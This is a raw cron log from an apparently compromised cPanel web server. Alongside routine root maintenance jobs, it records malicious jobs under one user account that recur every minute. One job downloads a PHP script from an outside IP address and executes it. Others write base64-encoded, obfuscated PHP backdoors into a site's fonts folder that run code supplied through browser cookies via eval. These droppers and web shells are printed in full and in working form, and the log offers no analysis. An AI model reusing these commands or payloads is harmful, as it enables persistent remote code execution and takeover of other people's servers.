Sep  9 08:00:02 ip-184-168-122-23 CROND[9243]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 08:00:02 ip-184-168-122-23 CROND[9241]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  9 08:00:02 ip-184-168-122-23 CROND[9236]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  9 08:00:02 ip-184-168-122-23 CROND[9245]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 08:01:01 ip-184-168-122-23 CROND[9376]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  9 08:01:01 ip-184-168-122-23 CROND[9377]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 08:01:01 ip-184-168-122-23 CROND[9379]: (root) CMD (run-parts /etc/cron.hourly)
Sep  9 08:01:01 ip-184-168-122-23 CROND[9378]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 08:01:01 ip-184-168-122-23 CROND[9380]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 08:01:01 ip-184-168-122-23 CROND[9381]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 08:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[9379]: starting 0anacron
Sep  9 08:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[9396]: finished 0anacron
Sep  9 08:02:01 ip-184-168-122-23 CROND[9499]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 08:02:01 ip-184-168-122-23 CROND[9501]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 08:02:01 ip-184-168-122-23 CROND[9502]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 08:02:01 ip-184-168-122-23 CROND[9503]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 08:02:01 ip-184-168-122-23 CROND[9505]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 08:03:01 ip-184-168-122-23 CROND[9613]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 08:03:01 ip-184-168-122-23 CROND[9614]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 08:03:01 ip-184-168-122-23 CROND[9616]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 08:03:01 ip-184-168-122-23 CROND[9617]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 08:04:01 ip-184-168-122-23 CROND[9702]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 08:04:01 ip-184-168-122-23 CROND[9704]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 08:04:01 ip-184-168-122-23 CROND[9705]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 08:04:01 ip-184-168-122-23 CROND[9703]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 08:04:01 ip-184-168-122-23 CROND[9706]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 08:05:01 ip-184-168-122-23 CROND[9840]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 08:05:01 ip-184-168-122-23 CROND[9841]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 08:05:01 ip-184-168-122-23 CROND[9843]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  9 08:05:01 ip-184-168-122-23 CROND[9849]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 08:05:01 ip-184-168-122-23 CROND[9850]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 08:05:01 ip-184-168-122-23 CROND[9848]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  9 08:05:01 ip-184-168-122-23 CROND[9852]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  9 08:06:02 ip-184-168-122-23 CROND[9964]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 08:06:02 ip-184-168-122-23 CROND[9967]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 08:06:02 ip-184-168-122-23 CROND[9968]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 08:06:02 ip-184-168-122-23 CROND[9969]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 08:06:02 ip-184-168-122-23 CROND[9966]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 08:07:02 ip-184-168-122-23 CROND[10154]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 08:07:02 ip-184-168-122-23 CROND[10155]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 08:07:02 ip-184-168-122-23 CROND[10157]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 08:07:02 ip-184-168-122-23 CROND[10159]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 08:08:01 ip-184-168-122-23 CROND[10292]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 08:08:01 ip-184-168-122-23 CROND[10294]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 08:08:02 ip-184-168-122-23 CROND[10296]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 08:08:02 ip-184-168-122-23 CROND[10295]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 08:08:02 ip-184-168-122-23 CROND[10297]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 08:09:01 ip-184-168-122-23 CROND[10401]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 08:09:01 ip-184-168-122-23 CROND[10403]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 08:09:01 ip-184-168-122-23 CROND[10405]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 08:09:01 ip-184-168-122-23 CROND[10404]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 08:09:01 ip-184-168-122-23 CROND[10406]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  9 08:10:01 ip-184-168-122-23 CROND[10509]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  9 08:10:01 ip-184-168-122-23 CROND[10512]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 08:10:01 ip-184-168-122-23 CROND[10515]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 08:10:01 ip-184-168-122-23 CROND[10517]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 08:10:01 ip-184-168-122-23 CROND[10519]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  9 08:10:01 ip-184-168-122-23 CROND[10516]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 08:10:01 ip-184-168-122-23 CROND[10518]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  9 08:10:01 ip-184-168-122-23 CROND[10514]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 08:11:01 ip-184-168-122-23 CROND[10633]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 08:11:01 ip-184-168-122-23 CROND[10632]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 08:11:01 ip-184-168-122-23 CROND[10634]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 08:11:01 ip-184-168-122-23 CROND[10635]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 08:12:01 ip-184-168-122-23 CROND[10733]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 08:12:01 ip-184-168-122-23 CROND[10734]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 08:12:01 ip-184-168-122-23 CROND[10737]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 08:12:01 ip-184-168-122-23 CROND[10738]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
